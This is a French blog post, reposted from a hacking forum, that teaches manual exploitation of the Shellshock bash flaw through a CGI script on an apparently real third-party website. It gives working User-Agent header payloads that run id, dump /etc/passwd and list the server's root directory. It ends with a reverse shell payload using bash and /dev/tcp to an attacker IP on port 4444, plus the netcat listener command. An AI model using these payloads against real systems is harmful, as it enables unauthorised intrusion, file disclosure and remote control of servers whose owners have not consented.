mardi 18 août 2015

Tutoriel Exploitation Shellshock manuellement

Suite de notre approche de l'exploitation d'une faille Shellshock via metasploit:
http://ift.tt/1fmCSac

Donc je vais vous monter la faille shellshock faite à la main (personnellement je prèfère cette méthode), avant de commencer lisait un peu dessus:
http://ift.tt/1Jo67HU



Bon premier je vais utiliser ce site
http://site.ch/

Et en cherchant un peu dans ces sources, je remarque une possibilité d'exploitation via le fichier cgi-bin/rpmrepo_scripts/list_rpms.sh



Donc je vais lancer BurpSuite pour capter cette URL , puis je lance le mode repeater pour modifier à la volé les paramètre, mais celui qui m'intèrresse est USER-AGENT. Donc si je parvient à injecter du code dans le header, je devrais obtenir les informations passé en argument.
Maintenant on va tester si la faille est bien présente , en modifiant l'USER-AGENT et essayons de faire afficher des données , via une injection de code.Tiens on va demander la version du serveur, avec la commande classique et bien connu: id



Comme on le vois la modification du header USER-AGENT qui sert pour identifier votre browser-web, par un code d'injection () { :;}; echo; echo "jajusa"; /bin/bash "id" va directement nous donner l'identifiant actuelle.

Bon c'est sympa, mais si on part du principe que ces données sont visible, on devrai pouvoir lister les répertoires, mais comment?
Simplement en modifiant notre code d'injection ( comprendre les commandes Linux est obligatoire).
Donc disons ceci:
() { :;}; echo; echo "jajusa"; /bin/bash "id" -> nous donne l'identifiant
Donc si on modifie le /bin/bash par un simple /bin/cat par exemple, je devrai pouvoir lire les fichiers.
Testons sur le célèbre fichier /etc/passwd
Donc on modifie le code par () { :;}; echo; echo "jajusa"; /bin/cat /etc/passwd



Voilà c'est très simple , non?
Bon je vais finir pour un listing complet depuis la racine.
Donc le code d'injection ici fonctionnera avec la commande ls
() { :;}; echo; echo "jajusa"; /bin/ls -lah / ici ls -lah pour voir les permissions puis / pour indiquer la racine du server.



Bon maintenant allons un peu plus loin que l'injection de code dans l'entête USER-AGENT, et on va ce renvoyé une petit connection via le port 4444.

Donc ce faire, il nous faut 3 chose:
-Le port 4444 ouvert sur notre box
-Une ip DNS (noip par exemple), non obligatoire
-Et un code pour nous renvoyé la connection.
Dont voici le code d'injection:
() { :;}; /bin/bash -c "bash -i >& /dev/tcp/Votre_IP ou Votre_Ip_DNS/4444 0>&1"

Voilà ensuite on va mettre lancer une écoute sur le port 4444 avec netcat: nc -lp 4444 -vv

Voilà ,j'espère que ce tutoriel vous as plus.
Prochain chapitre: Shellshock via le protocole smtp Qmail.


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1fmCR6q
via IFTTT

Aucun commentaire:

Enregistrer un commentaire